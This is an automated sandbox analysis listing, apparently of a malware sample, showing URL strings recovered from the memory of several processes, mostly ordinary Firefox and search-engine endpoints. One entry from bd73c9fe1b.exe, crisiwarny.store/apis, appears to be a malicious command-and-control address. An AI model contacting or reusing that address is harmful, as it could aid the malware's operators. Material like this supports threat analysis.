Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000002F.00000003.2874004878.000001B2AC29C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2873941382.000001B2AC2B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.google.com
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/DeferredTask.sys.mjs
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001A.00000002.2792669760.00000295E6CC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2860589482.000001B2A84DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EDB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001A.00000002.2792669760.00000295E6CC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulP
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-sitePr
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0EAA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EDB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-in
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EDB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulopenPreferences/internalPrefCategoryNam
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml);
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000003.2658649077.00000295E52D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2643634818.00000295E485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2644113137.00000295E4877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/get
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E6603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E6609000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp--autocomplete-popup-separator-color--panel-banner-item-updat
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4C11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2669089897.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001A.00000002.2790041065.00000295E69AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2790041065.00000295E691F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1403293
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2669089897.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4C30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2749678005.00000295D4C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2976602615.000001B29BC30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crisiwarny.store:443/apis
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2885400512.000001B2AC3AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drafts.csswg.org/css-lists-3/#ua-stylesheet
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000003.2658649077.00000295E52D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809067091.000039D177A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2643634818.00000295E485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2772290045.00000295E4CF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2644113137.00000295E4877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2808173090.00001AEFAD204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2808288410.000022149F704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
